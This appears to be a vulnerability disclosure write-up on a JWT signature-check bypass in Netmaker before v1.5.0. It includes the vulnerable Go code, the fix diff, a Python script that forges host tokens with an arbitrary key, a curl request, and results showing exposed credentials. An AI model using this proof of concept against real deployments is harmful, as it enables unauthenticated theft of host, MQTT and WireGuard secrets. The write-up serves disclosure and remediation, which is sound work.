Back to Research

JWT Verification Bypass in Netmaker Allows Unauthenticated Access to Host Endpoints

Author and Researcher

Ravindu Wickramasinghe

Ravindu Wickramasinghe

@rvz

Summary

Netmaker by Gravitl is an open-source WireGuard-based networking platform for creating and managing virtual overlay networks. The VerifyHostToken function in logic/jwts.go does not validate the JWT signature when verifying host tokens. After calling jwt.ParseWithClaims, the function only checks whether the returned token object is non-nil. It does not check token.Valid or the returned error. An attacker can forge a JWT signed with any key, set the claims to any host ID, and pull that host's full configuration including bcrypt-hashed passwords, MQTT credentials, and WireGuard peer data. Affected versions are Netmaker < 1.5.0. The issue was patched in v1.5.0 (commit 5309aa70). Severity is Critical (CVSS 4.0: 9.2).

Severity: Critical / 9.2
CVSS 4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

Details

The vulnerable function is at logic/jwts.go lines 251-268. The golang-jwt/jwt/v4 library returns a non-nil *Token for any structurally valid JWT, even when the signature is wrong or the token is expired. The Valid field is set to false and an error is returned alongside it. The code ignores both:

logic/jwts.go (v1.4.0 - VULNERABLE)
// VerifyHostToken - [hosts] Onlyfunc VerifyHostToken(tokenString string) (hostID string, mac string, network string, err error) {    claims := &models.Claims{}    // this may be a stupid way of serving up a master key    // TODO: look into a different method. Encryption?    if tokenString == servercfg.GetMasterKey() && servercfg.GetMasterKey() != "" {        return "mastermac", "", "", nil    }    token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) {        return jwtSecretKey, nil    })    if token != nil {  // BUG: only checks non-nil, does NOT check token.Valid        return claims.ID, claims.MacAddress, claims.Network, nil    }    return "", "", "", err}

Other token verification functions in the same file do this correctly. VerifyUserToken at line 234 and GetUserNameFromToken at line 189 both check if token != nil && token.Valid:

logic/jwts.go (line 234 - VerifyUserToken)
// VerifyUserToken func will used to Verify the JWT Token while using APISfunc VerifyUserToken(tokenString string) (username string, issuperadmin, isadmin bool, err error) {    claims := &models.UserClaims{}    // ...    token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) {        return jwtSecretKey, nil    })    // ...    if token != nil && token.Valid {  // CORRECT: checks both non-nil AND Valid        // ...    }    return "", false, false, err}

The Authorize middleware in controllers/node.go calls VerifyHostToken when the route allows host authentication. Since the vulnerable function returns nil as the error for any structurally valid JWT, the err == nil check passes and the request goes through:

controllers/node.go (v1.4.0)
// controllers/node.go - Authorize middleware (lines 180-188)// check if host instead of userif hostAllowed {    // TODO --- should ensure that node is only operating on itself    if hostID, _, _, err := logic.VerifyHostToken(authToken); err == nil {        r.Header.Set(hostIDHeader, hostID)        // this indicates request is from a node        // used for failover - if a getNode comes from node, this will trigger a metrics wipe        next.ServeHTTP(w, r)        return    }}

Affected endpoints (all registered with Authorize(hostAllowed=true, ...) in controllers/hosts.go):

  • GET /api/v1/host - Pull full host configuration, server config, and peer data
  • GET /api/v1/host/{hostid}/peer_info - Retrieve peer network information
  • PUT /api/v1/fallback/host/{hostid} - Modify host fallback settings
  • POST /api/v1/host/{hostid}/signalpeer - Signal peers in the network
  • GET /api/nodes/{network}/{nodeid} - Retrieve node configuration

The GET /api/v1/host endpoint returns the full HostPull response which includes the host object with hostpass (bcrypt hash), the server config with MQUserName, MQPassword, and TrafficKey (used for MQTT encryption), as well as the full WireGuard peer configurations with internal IPs, allowed ranges, and endpoints.

The vulnerability was fixed in commit 5309aa70 (February 24, 2026) by adding the token.Valid check:

5309aa70.diff
// Commit 5309aa70 - "NM-258: fix host authrize func, check for token validity"- if token != nil {+ if token != nil && token.Valid {      return claims.ID, claims.MacAddress, claims.Network, nil  }

A follow-up commit c344f54c (March 3, 2026) added claim validation to reject tokens missing the node| subject prefix or an empty host ID. The Authorize middleware was also rewritten in v1.5.0 to check that the authenticated host ID matches the host ID in the URL path.

Note: GHSA-hmqr-wjmj-376c ("Insufficient Authorization in Host Token Verification", credited to Artem Danilov of Positive Technologies) exists for the same code area but covers a different bug — missing resource ownership checks, which requires a valid host token. This finding requires no valid credentials at all. Both were fixed under the same internal ticket (NM-258) and shipped in v1.5.0.

Proof of Concept

Steps to Reproduce

  1. Deploy Netmaker v1.4.0 and register a host to obtain a valid host ID
  2. Create a JWT with the same claims structure (ID, MacAddress, Network) but signed with any arbitrary secret key
  3. Send a request to GET /api/v1/host with the forged token in the Authorization header
  4. The request returns HTTP 200 with the full host configuration including hostpass, MQTT credentials, and TrafficKey, despite the token being signed with a different key than the server's secret

Forge a JWT with an Arbitrary Key

forge_token.py
import jwt, timeVICTIM_HOST_ID = "target-host-uuid-here"forged_token = jwt.encode({    "ID": VICTIM_HOST_ID,    "MacAddress": "de:ad:be:ef:00:01",    "Network": "",    "sub": f"node|{VICTIM_HOST_ID}",    "iss": "Netmaker",    "exp": int(time.time()) + 3600,    "iat": int(time.time())}, "ATTACKER_CONTROLLED_KEY", algorithm="HS256")print(forged_token)

Request with Forged Token

terminal
curl -s http://TARGET:8081/api/v1/host \  -H "Authorization: Bearer <forged_token>"

Results

Tested against clean instances of both versions. The forged JWT was signed with ATTACKER_CONTROLLED_KEY_12345678, unrelated to the server's JWT secret:

results
# v1.4.0 (VULNERABLE)Forged JWT (wrong key)    -> HTTP 200    # returns hostpass, MQTT creds, TrafficKeyExpired + wrong key       -> HTTP 200    # expired tokens also acceptedGarbage token             -> HTTP 401    # non-JWT strings rejected by parserNo Authorization header   -> HTTP 403    # correctly rejected# v1.5.0 (PATCHED)Forged JWT (wrong key)    -> HTTP 401Expired + wrong key       -> HTTP 401Garbage token             -> HTTP 401No Authorization header   -> HTTP 401Valid admin token         -> HTTP 200    # legitimate tokens still work

Proof of Concept (Video)

Recommendations

Upgrade to Netmaker v1.5.0 or later. After upgrading, rotate all MQTT credentials, host passwords, and the server's TrafficKey to invalidate any credentials that may have been obtained through exploitation. Audit access logs for unusual GET /api/v1/host requests from unexpected sources.

Disclosure Timeline

DateEvent
January 22, 2026Vulnerability report sent to Netmaker via email.
January 28, 2026Follow-up email. No response.
February 24, 2026Netmaker silently patches the vulnerability in commit 5309aa70. No acknowledgment sent.
March 1, 2026Follow-up email. No response.
March 3, 2026Additional claim validation added in commit c344f54c.
~March 10, 2026GHSA-hmqr-wjmj-376c published for a separate authorization issue in the same code area, credited to Artem Danilov (Positive Technologies).
March 13, 2026Netmaker v1.5.0 released with both fixes.
March 16, 2026Follow-up email. No response.
March 24, 2026Public disclosure. Vulnerability confirmed patched in v1.5.0.